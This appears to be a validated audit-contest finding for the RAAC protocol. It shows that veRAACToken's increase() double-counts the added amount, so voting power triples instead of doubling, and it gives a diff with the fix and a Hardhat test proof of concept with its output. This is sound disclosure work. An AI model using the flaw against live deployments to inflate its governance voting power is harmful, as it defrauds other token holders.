Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Attacker can gain more than expected voting power by calling increase()

Description

Inside veRAACToken.sol the correct implementation of increase() ought to be:

File: contracts/core/tokens/veRAACToken.sol
251: function increase(uint256 amount) external nonReentrant whenNotPaused {
252: // Increase lock using LockManager
253: _lockState.increaseLock(msg.sender, amount);
254: _updateBoostState(msg.sender, locks[msg.sender].amount);
255:
256: // Update voting power
257: LockManager.Lock memory userLock = _lockState.locks[msg.sender];
258: (int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
259: msg.sender,
- 260: userLock.amount + amount,
+ 260: userLock.amount,
261: userLock.end
262: );
263:
264: // Update checkpoints
265: uint256 newPower = uint256(uint128(newBias));
266: _checkpointState.writeCheckpoint(msg.sender, newPower);
267:
268: // Transfer additional tokens and mint veTokens
269: raacToken.safeTransferFrom(msg.sender, address(this), amount);
270: _mint(msg.sender, newPower - balanceOf(msg.sender));
271:
272: emit LockIncreased(msg.sender, amount);
273: }

This is because on L252 the call to _lockState.increaseLock(msg.sender, amount) already increases the userLock.amount by amount.

Impact

User gets a much higher voting power than expected.

Proof of Concept

Add this inside test/unit/core/tokens/veRAACToken.test.js and run to see it fail with the following output:

describe("Voting Power Calculations with Lock and Increase", () => {
it("should calculate correct voting power after lock and increase", async () => {
// Initial setup
const initialAmount = ethers.parseEther("1000");
const duration = 4 * 365 * 24 * 3600; // 4 years
// 1. Create initial lock
await veRAACToken.connect(users[0]).lock(initialAmount, duration);
// 2. Get initial voting power
const initialVotingPower = await veRAACToken.getVotingPower(users[0].address);
console.log("Initial voting power:", ethers.formatEther(initialVotingPower));
// Get initial lock position
const initialPosition = await veRAACToken.getLockPosition(users[0].address);
console.log("Initial lock position:", {
amount: ethers.formatEther(initialPosition.amount),
end: initialPosition.end.toString(),
power: ethers.formatEther(initialPosition.power)
});
// 3. Increase by same amount
await veRAACToken.connect(users[0]).increase(initialAmount);
// 4. Get new voting power
const newVotingPower = await veRAACToken.getVotingPower(users[0].address);
console.log("New voting power:", ethers.formatEther(newVotingPower));
// Get new lock position
const newPosition = await veRAACToken.getLockPosition(users[0].address);
console.log("New lock position:", {
amount: ethers.formatEther(newPosition.amount),
end: newPosition.end.toString(),
power: ethers.formatEther(newPosition.power)
});
// Verify the bug:
// If the calculation is correct, the new voting power should be roughly double
// the initial power since we doubled the amount with the same end time
const expectedRatio = 2; // We expect roughly 2x voting power
const actualRatio = Number(newVotingPower) / Number(initialVotingPower);
console.log("Actual power ratio:", actualRatio);
// Should be close to 2 with some small deviation for time passage
expect(actualRatio).to.be.closeTo(expectedRatio, 0.1);
});
});

Output:

veRAACToken
Voting Power Calculations with Lock and Increase
Initial voting power: 1000.0
Initial lock position: { amount: '1000.0', end: '1865269225', power: '1000.0' }
New voting power: 3000.0
New lock position: { amount: '2000.0', end: '1865269225', power: '3000.0' } ❌ <--- power should have doubled to '2000.0' since amount had doubled
Actual power ratio: 3
1) should calculate correct voting power after lock and increase
0 passing (12s)
1 failing
1) veRAACToken
Voting Power Calculations with Lock and Increase
should calculate correct voting power after lock and increase:
AssertionError: expected 3 to be close to 2 +/- 0.1
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doubles the voting power of users

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.